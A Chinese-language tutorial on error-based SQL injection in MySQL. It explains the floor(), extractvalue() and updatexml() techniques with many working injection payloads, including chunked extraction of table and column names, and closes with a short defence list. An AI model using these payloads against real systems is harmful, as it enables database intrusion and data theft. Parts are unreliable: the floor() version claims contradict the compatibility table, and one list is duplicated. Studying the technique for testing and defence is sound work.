SQL 报错注入详解¶
什么是报错注入¶
报错注入(Error-based SQL Injection)是一种利用数据库错误信息来获取数据的 SQL 注入技术。当应用程序没有正确处理数据库错误时,攻击者可以通过构造特殊的 SQL 语句,使数据库返回错误信息,这些错误信息中可能包含敏感数据。
主要报错注入方法¶
1. 基于 floor() 的报错注入¶
利用 floor(rand(0)*2)
配合 count()
和 group by
触发主键重复错误。当使用 rand()
函数时,每次查询都会产生不同的随机数,而 group by
需要确定的值,这就导致了主键冲突。
版本和配置影响
MySQL 版本影响
MySQL 5.7.5 以下版本:floor() 报错注入通常有效
MySQL 5.7.5 及以上版本:由于 rand() 函数改进,可能不会触发错误
MySQL 8.0:完全重构了随机数生成器,floor() 报错注入基本失效
配置影响
如果启用了STRICT_TRANS_TABLES
或 STRICT_ALL_TABLES
,可能影响错误触发
某些安全配置可能限制错误信息显示
替代方案
# 如果 floor() 方法失效,可以尝试其他报错注入方法
# 使用 extractvalue()
and extractvalue(1,concat(0x7e,(select user()),0x7e))
# 使用 updatexml()
and updatexml(1,concat(0x7e,(select user()),0x7e),1)
# 使用 exp()
and exp(~(select * from (select user())a))
更可靠的示例
# 方法1:使用 information_schema.tables 表(数据量较大)
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
# 方法2:使用 union 和子查询
and (select count(*) from (select 1 union select null union select !1)x group by concat(version(),floor(rand(0)*2)))
# 方法3:使用多表连接
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables a,information_schema.tables b group by x)c)
# 方法4:使用 having 子句
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x having count(*)>1)a)
适用于 MySQL 5.7.5 以下版本
可以获取任意数据
构造相对复杂
需要足够的数据量才能触发错误
受 MySQL 版本和配置影响较大
2. 基于 extractvalue() 的报错注入¶
extractvalue()
是 MySQL 的 XML 处理函数,用于从 XML 字符串中提取值。当 XML 格式不正确时,会返回错误信息,我们可以利用这个特性来获取数据。
构造简单
返回数据长度有限制(最多32个字符)
适用于 MySQL 5.1.5 及以上版本
处理超过32个字符的方法
-
使用 substr() 函数分段获取
# 获取前32个字符 and extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e)) # 获取接下来的32个字符 and extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),33,32),0x7e)) # 获取最后的部分 and extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),65,32),0x7e))
-
使用 mid() 函数分段获取
# 获取前32个字符 and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),1,32),0x7e),1) # 获取接下来的32个字符 and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),33,32),0x7e),1)
-
使用 limit 分页获取
-
使用 concat_ws() 函数处理长数据
-
使用 hex() 函数处理二进制数据
-
使用 group_concat() 配合 substr()
-
使用 case when 条件判断
-
使用 if() 函数配合 substr()
使用 substr() 函数分段获取
使用 mid() 函数分段获取
使用 limit 分页获取
使用 concat_ws() 函数处理长数据
使用 hex() 函数处理二进制数据
使用 group_concat() 配合 substr()
使用 case when 条件判断
使用 if() 函数配合 substr()
这些方法各有特点:
前两种方法适合获取连续的长文本
第三种方法适合获取多行数据
第四种方法适合处理结构化数据
第五种方法适合处理二进制数据
最后三种方法适合精确获取特定字符
3. 基于 updatexml() 的报错注入¶
updatexml()
也是 MySQL 的 XML 处理函数,用于更新 XML 文档。当 XML 格式不正确时,同样会返回错误信息。
构造简单
返回数据长度有限制(最多32个字符)
适用于 MySQL 5.1.5 及以上版本
其他报错注入方法¶
除了上述三种主要方法外,还有其他一些报错注入方法:
- 基于 exp() 的报错注入
- 基于 bigint 溢出的报错注入
- 基于 geometrycollection() 的报错注入
- 基于 multipoint() 的报错注入
- 基于 polygon() 的报错注入
- 基于 multipolygon() 的报错注入
- 基于 linestring() 的报错注入
- 基于 multilinestring() 的报错注入
- 基于 name_const() 的报错注入
MySQL 版本兼容性对比¶
报错注入方法 | MySQL 5.0 | MySQL 5.1 | MySQL 5.5 | MySQL 5.6 | MySQL 5.7 | MySQL 8.0 |
---|---|---|---|---|---|---|
floor() | ✓ | ✓ | ✓ | ✓ | ✓ | ✗ |
extractvalue() | ✗ | ✓ | ✓ | ✓ | ✓ | ✓ |
updatexml() | ✗ | ✓ | ✓ | ✓ | ✓ | ✓ |
exp() | ✗ | ✗ | ✓ | ✓ | ✓ | ✓ |
bigint | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
geometry | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
name_const | ✓ | ✓ | ✓ | ✓ | ✓ | ✗ |
使用建议¶
- 优先使用 floor() 方法,因为它的兼容性最好
- 如果 floor() 方法失败,可以尝试 extractvalue() 或 updatexml()
- 注意不同版本 MySQL 对某些方法的限制
- 在实际测试中,建议先确定数据库版本,再选择合适的报错注入方法
防御建议¶
- 关闭错误信息显示
- 使用参数化查询
- 对用户输入进行严格的过滤和验证
- 使用最小权限原则
- 定期更新数据库版本